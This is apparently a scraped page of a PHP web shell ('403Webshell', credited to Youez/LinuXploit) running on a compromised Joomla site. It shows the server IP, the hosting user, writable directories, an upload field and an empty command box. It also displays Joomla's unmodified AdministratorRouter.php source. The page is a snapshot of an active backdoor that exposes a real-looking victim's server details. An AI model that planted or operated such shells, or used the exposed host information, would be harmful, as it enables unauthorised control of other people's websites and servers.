403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/36/d4298801080/htdocs/crcanaldehesas/libraries/src/Router/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/36/d4298801080/htdocs/crcanaldehesas/libraries/src/Router/AdministratorRouter.php
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Router;

use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Class to create and parse routes
 *
 * @since  1.5
 */
class AdministratorRouter extends Router
{
    /**
     * Function to convert a route to an internal URI.
     *
     * @param   Uri   &$uri     The uri.
     * @param   bool  $setVars  Set the parsed data in the internal
     *                          storage for current-request-URLs
     *
     * @return  array
     *
     * @since   1.5
     */
    public function parse(&$uri, $setVars = false)
    {
        return [];
    }

    /**
     * Function to convert an internal URI to a route
     *
     * @param   string  $url  The internal URL
     *
     * @return  Uri  The absolute search engine friendly URL
     *
     * @since   1.5
     */
    public function build($url)
    {
        // Create the URI object
        $uri = parent::build($url);

        // Get the path data
        $route = $uri->getPath();

        // Add basepath to the uri
        $uri->setPath(Uri::root(true) . '/' . basename(JPATH_ADMINISTRATOR) . '/' . $route);

        return $uri;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit